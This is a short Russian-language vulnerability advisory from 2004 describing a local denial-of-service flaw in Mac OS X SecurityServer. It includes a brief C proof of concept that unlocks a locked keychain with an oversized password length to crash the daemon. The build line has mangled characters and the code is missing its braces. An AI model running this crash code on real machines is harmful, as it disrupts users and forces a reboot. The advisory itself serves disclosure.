DoS против Mac OS X SecurityServer

Дата публикации:
04.01.2004
Всего просмотров:
1567
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Mac OS X SecurityServer

Описание: Отказ в обслуживании обнаружен в Mac OS X SecurityServer. Локальный пользователь может аварийно завершить работу SecurityServer.

Локальный пользователь может разблокировать заблокированную цепочку ключей и определить длинный пароль, чтобы аварийно завершить работу SecurityServer демона и других процессов. Для восстановления нормальной работы, система должна быть перезагружена.

Пример/Эксплоит:

Proof Of Concept Code
To  build this code run ³gcc <file name> -framework Security ¬o
CrashSecurityServer²

#include <Security/Security.h>
int main(int argc, const char *argv[])
 
    SecKeychainRef defaultKeychain;
    SecKeychainCopyDefault(&defaultKeychain);
    SecKeychainLock(defaultKeychain);
    SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
    return 0;

URL производителя: http://www.apple.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Local Denial Of Service Attack Against Apple MacOS X, MacOS X

или введите имя

CAPTCHA